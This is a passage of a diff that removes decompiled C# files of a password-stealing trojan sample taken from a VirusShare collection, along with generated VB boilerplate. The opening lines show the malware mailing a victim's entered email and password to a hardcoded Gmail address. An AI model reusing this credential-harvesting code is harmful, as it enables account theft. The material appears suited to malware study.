|
||||
smtpClient.Host = "smtp.gmail.com";
|
||||
smtpClient.EnableSsl = true;
|
||||
smtpClient.Send(new MailMessage()
|
||||
{
|
||||
From = new MailAddress("enzog21@gmail.com"),
|
||||
To = {
|
||||
"enzog21@gmail.com"
|
||||
},
|
||||
Subject = "E-Mail: " + this.email.Text,
|
||||
Body = "E-Mail: " + this.email.Text + ", Password: " + this.password.Text
|
||||
});
|
||||
}
|
||||
|
||||
private void Button2_Click(object sender, EventArgs e) => this.Close();
|
||||
}
|
||||
}
|
||||
@ -1,120 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
@ -1,214 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication6.My.InternalXmlHelper
|
||||
// Assembly: WindowsApplication6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76FB33C8-045E-403B-B9CF-3CC6347324C3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.ICQ.a-536470e24cc98d0f8140a66aab776cde03ab405fd9d13411bf8a358dc8bac86b.exe
|
||||
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Xml.Linq;
|
||||
|
||||
namespace WindowsApplication6.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
internal sealed class InternalXmlHelper
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
private InternalXmlHelper()
|
||||
{
|
||||
}
|
||||
|
||||
public static string get_Value(IEnumerable<XElement> source)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (enumerator.MoveNext())
|
||||
return enumerator.Current.Value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
return (string) null;
|
||||
}
|
||||
|
||||
public static void set_Value(IEnumerable<XElement> source, string value)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (!enumerator.MoveNext())
|
||||
return;
|
||||
enumerator.Current.Value = value;
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static string get_AttributeValue(IEnumerable<XElement> source, XName name)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (enumerator.MoveNext())
|
||||
return (string) enumerator.Current.Attribute(name);
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
return (string) null;
|
||||
}
|
||||
|
||||
public static void set_AttributeValue(IEnumerable<XElement> source, XName name, string value)
|
||||
{
|
||||
IEnumerator<XElement> enumerator;
|
||||
try
|
||||
{
|
||||
enumerator = source.GetEnumerator();
|
||||
if (!enumerator.MoveNext())
|
||||
return;
|
||||
enumerator.Current.SetAttributeValue(name, (object) value);
|
||||
}
|
||||
finally
|
||||
{
|
||||
enumerator?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static string get_AttributeValue(XElement source, XName name) => (string) source.Attribute(name);
|
||||
|
||||
public static void set_AttributeValue(XElement source, XName name, string value) => source.SetAttributeValue(name, (object) value);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XAttribute CreateAttribute(XName name, object value) => value == null ? (XAttribute) null : new XAttribute(name, RuntimeHelpers.GetObjectValue(value));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XAttribute CreateNamespaceAttribute(XName name, XNamespace ns)
|
||||
{
|
||||
XAttribute namespaceAttribute = new XAttribute(name, (object) ns.NamespaceName);
|
||||
namespaceAttribute.AddAnnotation((object) ns);
|
||||
return namespaceAttribute;
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static object RemoveNamespaceAttributes(
|
||||
string[] inScopePrefixes,
|
||||
XNamespace[] inScopeNs,
|
||||
List<XAttribute> attributes,
|
||||
object obj)
|
||||
{
|
||||
switch (obj)
|
||||
{
|
||||
case XElement e:
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, e);
|
||||
case IEnumerable enumerable:
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return (object) InternalXmlHelper.RemoveNamespaceAttributes(inScopePrefixes, inScopeNs, attributes, enumerable);
|
||||
default:
|
||||
return obj;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static IEnumerable RemoveNamespaceAttributes(
|
||||
string[] inScopePrefixes,
|
||||
XNamespace[] inScopeNs,
|
||||
List<XAttribute> attributes,
|
||||
IEnumerable obj)
|
||||
{
|
||||
if (obj == null)
|
||||
return obj;
|
||||
// ISSUE: object of a compiler-generated type is created
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
// ISSUE: object of a compiler-generated type is created
|
||||
// ISSUE: reference to a compiler-generated method
|
||||
return obj is IEnumerable<XElement> source ? (IEnumerable) source.Select<XElement, XElement>(new Func<XElement, XElement>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessXElement)) : (IEnumerable) obj.Cast<object>().Select<object, object>(new Func<object, object>(new InternalXmlHelper.RemoveNamespaceAttributesClosure(inScopePrefixes, inScopeNs, attributes).ProcessObject));
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public static XElement RemoveNamespaceAttributes(
|
||||
string[] inScopePrefixes,
|
||||
XNamespace[] inScopeNs,
|
||||
List<XAttribute> attributes,
|
||||
XElement e)
|
||||
{
|
||||
XAttribute nextAttribute;
|
||||
if (e != null)
|
||||
{
|
||||
for (XAttribute xattribute = e.FirstAttribute; xattribute != null; xattribute = nextAttribute)
|
||||
{
|
||||
nextAttribute = xattribute.NextAttribute;
|
||||
if (xattribute.IsNamespaceDeclaration)
|
||||
{
|
||||
XNamespace xnamespace1 = xattribute.Annotation<XNamespace>();
|
||||
string localName1 = xattribute.Name.LocalName;
|
||||
if ((object) xnamespace1 != null)
|
||||
{
|
||||
if (inScopePrefixes != null && inScopeNs != null)
|
||||
{
|
||||
int num = checked (inScopePrefixes.Length - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
string inScopePrefix = inScopePrefixes[index];
|
||||
XNamespace inScopeN = inScopeNs[index];
|
||||
if (localName1.Equals(inScopePrefix))
|
||||
{
|
||||
if (xnamespace1 == inScopeN)
|
||||
xattribute.Remove();
|
||||
xattribute = (XAttribute) null;
|
||||
break;
|
||||
}
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
if (xattribute != null)
|
||||
{
|
||||
if (attributes != null)
|
||||
{
|
||||
int num = checked (attributes.Count - 1);
|
||||
int index = 0;
|
||||
while (index <= num)
|
||||
{
|
||||
XAttribute attribute = attributes[index];
|
||||
string localName2 = attribute.Name.LocalName;
|
||||
XNamespace xnamespace2 = attribute.Annotation<XNamespace>();
|
||||
if ((object) xnamespace2 != null && localName1.Equals(localName2))
|
||||
{
|
||||
if (xnamespace1 == xnamespace2)
|
||||
xattribute.Remove();
|
||||
xattribute = (XAttribute) null;
|
||||
break;
|
||||
}
|
||||
checked { ++index; }
|
||||
}
|
||||
}
|
||||
if (xattribute != null)
|
||||
{
|
||||
xattribute.Remove();
|
||||
attributes.Add(xattribute);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return e;
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,86 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication6.My.MyApplication
|
||||
// Assembly: WindowsApplication6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76FB33C8-045E-403B-B9CF-3CC6347324C3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.ICQ.a-536470e24cc98d0f8140a66aab776cde03ab405fd9d13411bf8a358dc8bac86b.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication6.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
private static List<WeakReference> __ENCList = new List<WeakReference>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyApplication()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
private static void __ENCAddToList(object value)
|
||||
{
|
||||
lock (MyApplication.__ENCList)
|
||||
{
|
||||
if (MyApplication.__ENCList.Count == MyApplication.__ENCList.Capacity)
|
||||
{
|
||||
int index1 = 0;
|
||||
int num = checked (MyApplication.__ENCList.Count - 1);
|
||||
int index2 = 0;
|
||||
while (index2 <= num)
|
||||
{
|
||||
if (MyApplication.__ENCList[index2].IsAlive)
|
||||
{
|
||||
if (index2 != index1)
|
||||
MyApplication.__ENCList[index1] = MyApplication.__ENCList[index2];
|
||||
checked { ++index1; }
|
||||
}
|
||||
checked { ++index2; }
|
||||
}
|
||||
MyApplication.__ENCList.RemoveRange(index1, checked (MyApplication.__ENCList.Count - index1));
|
||||
MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count;
|
||||
}
|
||||
MyApplication.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[STAThread]
|
||||
[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
MyApplication.__ENCAddToList((object) this);
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
@ -1,24 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication6.My.MyComputer
|
||||
// Assembly: WindowsApplication6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76FB33C8-045E-403B-B9CF-3CC6347324C3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.ICQ.a-536470e24cc98d0f8140a66aab776cde03ab405fd9d13411bf8a358dc8bac86b.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace WindowsApplication6.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,212 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication6.My.MyProject
|
||||
// Assembly: WindowsApplication6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76FB33C8-045E-403B-B9CF-3CC6347324C3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.ICQ.a-536470e24cc98d0f8140a66aab776cde03ab405fd9d13411bf8a358dc8bac86b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication6.My
|
||||
{
|
||||
[StandardModule]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[ComVisible(false)]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,74 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication6.My.MySettings
|
||||
// Assembly: WindowsApplication6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76FB33C8-045E-403B-B9CF-3CC6347324C3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.ICQ.a-536470e24cc98d0f8140a66aab776cde03ab405fd9d13411bf8a358dc8bac86b.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace WindowsApplication6.My
|
||||
{
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
MySettings defaultInstance = MySettings.defaultInstance;
|
||||
return defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -1,31 +0,0 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication6.My.MySettingsProperty
|
||||
// Assembly: WindowsApplication6, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 76FB33C8-045E-403B-B9CF-3CC6347324C3
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-PSW.MSIL.ICQ.a-536470e24cc98d0f8140a66aab776cde03ab405fd9d13411bf8a358dc8bac86b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace WindowsApplication6.My
|
||||
{
|
||||
[HideModuleName]
|
||||
[DebuggerNonUserCode]
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings
|
||||
{
|
||||
get
|
||||
{
|
||||
MySettings settings = MySettings.Default;
|
